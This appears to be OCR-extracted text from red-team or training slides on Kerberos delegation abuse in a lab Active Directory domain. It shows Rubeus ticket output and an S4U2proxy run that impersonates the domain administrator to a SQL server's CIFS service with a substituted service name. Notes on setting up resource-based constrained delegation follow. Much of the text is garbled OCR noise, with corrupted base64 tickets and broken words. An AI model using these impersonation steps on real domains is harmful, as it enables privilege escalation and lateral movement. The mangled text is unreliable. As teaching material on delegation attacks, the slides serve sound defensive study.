EfBISROQAbCmvHmomcL7IVmlgs /bl 1MgiviizgvjQImUtXAIRZNpwyTH2GrhZF1LOMIn1dpYPd411bIb8AGBF IVYMK
VscAbxDAeOalltsNy@FARAbpLFevsboH1BE1QIOD2FId3KBV@8gbMXAOkaFUAq8iWhge LMZnYPESDi3wPsBigMaXz
ohuDKMb51X03591X3zBxT1p5hBUW/r5V6oiARRevetMNyhUXEm6Cz+j5H6YdTNbAe LbVKoLbHB2VgRmw5pUnxXbBvR
TCztt1xXCdWYCHUCY(Q3315vG8VaVntAMRAP1SRwTPDUS6raiX9MQRD+VLurvO+8UBB88nLsGhHWNDpDgLTIKmrZ9g
5bwGKu39KXAOd2PDWMO7 Iz jn0pN8usEv3DpSpzVxZky39yyYSMeQiSvBuGkZYhAvOK1VKsThkzel6hNnEYovT jMkw
xwhrYEyDP7hw+PxCTDZZ9v1WzwNPhs3FHHS4Uvb7nyBIla+s+Ite7dSXX1nDbDmigp/YHe 7rfqRjq@AsXfmhIcm3R9
kL935e2F02snhmcNi40HL@30KGCFZ+KR+PDoeVIU3N@vPeSwx@0ErhvZHXwPbo7uBKPaP1aRHOHrWxFc+mpd8H1iv

https://github.com/GhostPack/Rubeus www.crummie5.club



EN Administrator:

PS C:\Tools> .\Rubeus.exe describe /ticket:coIFWDCCBVSgAwIBBaEDAgEWooIEZjCCBGIhggReMIIEWGADAEZEFoQAbDENBUFNVTEUUQRISUKITMBGgAWI]
BAAEKMAZDBNA LY JAXJKUOCBCWWEEU0oAMLARKNAWLBAGKCBBoEgeQWeNdb+7SQC3m1KYg93jiziZCodG1t1GzIogo/ /+2IABVVCK]Addmy 4A2 FEGWNGLKOSfepgXIAgH
EeH17A3QL4eD1eIsQ950QtChmpYyXngmlxqgZz9+SIk90rN3wIkTEFBIBROQABCmvHMomc L7 JVmlgs /bl1MgivivzgviQImUtXA3RZNpwyfH2GrhZF1LOMIn1dpYPd4
J1bTh84GBFIVYMKVscAGxDAeDal 1t sNy@FARAbplL FevsboH1BE1QT0D2FId3KBV@8gbMXAOkaFUAq8ilhge MZnYPESD13wPsBigMGXzohuDKMb51X03591X3zBxT1
p5hBW/ r5V60iARRevetMNyhUXEm6C z+3 SHEYd TNbAe LbVKoLbHB 2VgRmwSpUnxXbBvRTCztt 1xXCdWYCHUCYQ3315vG8VaVntAMRAP1SRwfPDU96raiXOMQRD+VLur
vO0+8UBB88nL sGhHWNDpDgL TIKmrZ9g5bwGKu39KXADd2PDWMO7Tzjn0pN8usEv3DpSpzVxZky39yyYSMeQiSvBuGkZYhAvOK1VKsThkze16hNnEYovTjMkwxwhrYEy,
DP7hw+PxCTDZZ9v1WzwhNPhs3FHH54Uvb7nyBIa+s+I1te7dSXX1nDbDmigp/YHe7rfqRjg®AsXfmhIcm3ROkL93Se2FQ2snhmcNi40HL@30KGCFZ+KR+PDpeVTU3Ne
PgSwxBBErhvZHXwPbo7uBKPaPlaRHQHrWxF c+mpA8H1iy1HKyCNOEViXnf8pnxj690RJRZoXt3gXrmolimL TIGA0E0Qt472938f0r2R1q8qc9pxembhw7jDGhBgFxA
3xImtzqdx/S2QVz22DInPstoldif/W5RBA/oHRGc1zGD5vEiiY/ /fKobxATjXNWEjBwwaZonTuz/@fihE3R6CIXNGXq2WLgmw] IKCREt+sMVvkSH7MbS5ezaXvGg19g|
DzP/Lj4IXgNPxqKOECa9Q831Zg0wkEBmLgNgrnR/ rC97+qjY8R+EMkTi2vKLkwd+HEZCDFmbAYGASbY8bMs FCEK1rgenNvoX8zRj6Fc/k57NIe2N+6jS3ao]jpwmGHI]
FOibP/CvYv54MLYPbT+CU1Q5ufDAb3wnVWbC7rCe+oCalGegN5Lfy+nZ06J2qaxrgN7Y4xYaDOv8zBey ly@l 3qUa7He9mbdh 71 oakWKKyUBh5C00@54Wf t T+FNTyWY2
g0kygD0OBgkuDxYAIzmU+81WN4s La+/WmUJAIKnIVFI3uvC/wlCtwf06ewolTLYiIjg7F600SJyuPtN9+pauzRV72EU1BoIfahwuDV13piilGs 7Pi8qXLImrDQHYKGe|
gyrHK7¢cD@q10138mXowcEg9jVIaZha®0618C5al BOPDF+a8zrjDW3BPEBk1UmijgdewgdqesAwIBAKKBOgSBZz32BzDCByaCBxjCBwzCBwKArMCmgAwWIBEqEiBCApShp)
yxyBrAOxLPUp76hJ]6h/ZbXv0YnHu/XswYIJiEEqEOGwxDQVBTVUXFLKNPULCiGjAYoAMCAQQhETAPGW1hZG1pbmlzdHIhdG9yowcDBQBACQAAPREYDzIwMj EwNDIw
JABNTAxiigYRGASYMDIxMDQyMT AZNDUwVqnERgPM AyMTABM] cyMDQ1MDF agA4bDENBUFNVT EUuQ@9SUKK TMBGgAWI BAaEKMAgbBnd1Y jAx JA==

The resulting ST is ——
Forwardable = 1=
||

|
11—

[ I I

| [ I
oy e

[*] Action: Describe Ticket

ServiceName :  web@1$

ServiceRealm :  CAPSULE.CORP

UserName : administrator

UserRealm :  CAPSULE.CORP

StartTime : 4/20/2021 10:45:01 PM

EndTime : 4/21/2021 8:45:01 AM

RenewTill - A/27/2821 10:45:01 PM

Flags :  name_canonicalize, pre_authent, renewable, forwardable
Keylype I aes/sb_cts_nmac_shal

Baseb4(key) :  KUoacscgawDsSz1Ke+oSeof2W17zmIx7v17MGCCYhBI=

https://github.com/GhostPack/Rubeus www.crummie5.club



EN Administrator: Windows PowerShell

Final ticket will be for the alternate service "http/sql@l.capsule.corp®
[*] Using domain controller: dc@®l.capsule.corp (106.11.3.5)

A S|nce |t |S Forwardable’ the ST Can [*] Building S4U2proxy request for service: ‘cifs/sql@l.capsule.corp’

. [*] Sending S4U2proxy request
be used to invoke S4U2Proxy [+] S4U2proxy success! _
[*] Substituting alternative service name "http/sql@l.capsule.corp’
[*] baseedA(ticket.kirbi) for SPN 'http/sqlel.capsule.corp/sql@l.capsule.corp’:

[*] Impersonating user ‘administrator® to target SPN 'cifs/sql@l.capsule.corp’
[*]

doIGMjCCBi6gAwIBBaEDAgEWo0IFKzCCBSdhggUiMIIFH6ADAEEFoQAbDENBUFNVTEUUQ@9SUKIAMDagAwIBAGEVMC
@bF2h@dHAvC3FsMDEUY2Fwc3VsZ55]b3Iwaxd zcwwMS S JYXBzdux 1 LmNvenCjge TMMITEYKADAZESoQMCAQWiggS6BIIELr

A Thesnameof the Ticket can also vaeY1y5153wgeK0j1HpjNaYBkKoxSm8poDz6wGDfmad1d TvFnIC++pOFQLOed ] /ROX3wrIQ8dF LREYE JKWAGpcdgATNIME]

. O . . MhjvegkDk/ZUrsbAamPfmnnmViuZi76fnf@cxuluaTc@uuPEpzJABAXdUOBrSn3 /VNXVulB1Ff04ulU3TXqi354+pCec3sSin

be substituted as it is Iin plalnteXt 7t +pFuKKRCOPNS ThiwS 5uQn+8N@1v6]sFTISDAD3IMEZQD20AZ sqAS | 156 19v0 34SywNzMs TN/ g9p8pXt 1+PTx2NKHilinLrz
. . . YmOFPKPb91JH8MBPnq8q2j1+hZ+As6uMcTVANG61t+8Eh57trJUARATOE 3FHWwaMK2IE14B7MIFLSthDj21d@Bg9Km5cf0l1eS

and the T|Cket remains Va“d £2519C09w5QeMOt 3pnKFFvefJ+ulp638pbL f6AKAGMhQFaUP iQGIAWS2RDXhaAfdBsXJjpP/D14UUTEKNWCAOS6VXrU3428
fC1vW7j5FPw+e+o,/J46uMB11LC5y8Ab/tCOAL18XA/cEpi03tGeX3xtIxuMMZm25kNHQTM1Sz1j19kgefSyYhbeUQkeOthWSW

01XE41wItOol 7Mgh+FoTi7cFF9Uogb7zVnZQPasTiCac4XXqGepmCEsJaTlk2Q8nTTox6T+02xBwQoTwl8awtU4+Ti7nlzaTuy

yZ3tiIXFOHSyeE/F+jQePFGTUjaMFGAjUMS2f 7to0VDGBr6rjTAOXF7zMrMRMS F9Ual/WEMERaK92PNNU1OY2pT28cAmT 8y,

ZL2DmYZTggas5GydEQqF841Gy0iFAHKisXNIpPY1X5hIShCHY ICCu2xYMsqS9zT3NnBEY@n1Fyy/t0054He cPUCEWTZ3aAm5n

NifCcjtsPkKNNzzoQDsxMutmk9CttHRXpvE21cE7mpEymi@jPHVLilyADaa2fpVeyKeCzSxFrEcIX7pZ31digGA6RhV2/Ath)
VoK | k2 - Ahas 3 WESLH v imMAR+ AL 200 aVNITAI1No7HaRGEGMT nEmP Ao IuNnl vE 7uAuMNGK P TAM WA 7+ 1 +Sm 7 TwiRoM1n1Sn T

https://github.com/GhostPack/Rubeus www.crummie5.club



Interesting Links

A Ben Campbel Trust? Years to earn, seconds to break

A https://labs.f-secure.com/archive/trusiearsto-earnsecondsto-break/

A Will Schroeder & Lee ChristenseB4U2Pwnage
A https://www.harmjOy.net/blog/activedirectory/s4u2pwnage/

A Will Schroeder & Lee Christensefinother Word on Delegation

A https://www.harmjOy.net/blog/redteaming/anotheiword-on-delegation/

A Matan Hart- Delegate to the Top

A https://www.blackhat.com/docs/asidl 7/materials/asial 7-Hart-DelegateTo-The Top-AbusingKerberosFor
Arbitrary-ImpersonationsAnd-RCE. pdf

www.crummie5b.club



Resource -Based Constrained
Delegation
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RBCD

AClosely related to classic Constrained Delegation
AUses S4U extensions

A Setting up this delegatiodoes notrequire Domain or Enterprise Admin privileges

AJust write rights over thensDSAllowedToActOnBehalfOfOtherldentity
attribute of a service account

AThe trust is configured on the service that receives delegated credentials
A In other delegations, configurations were applied to Web01
A In RBCD, we should configure Sql01 instead
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RBCD (cont.)
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No Delegation for Web01
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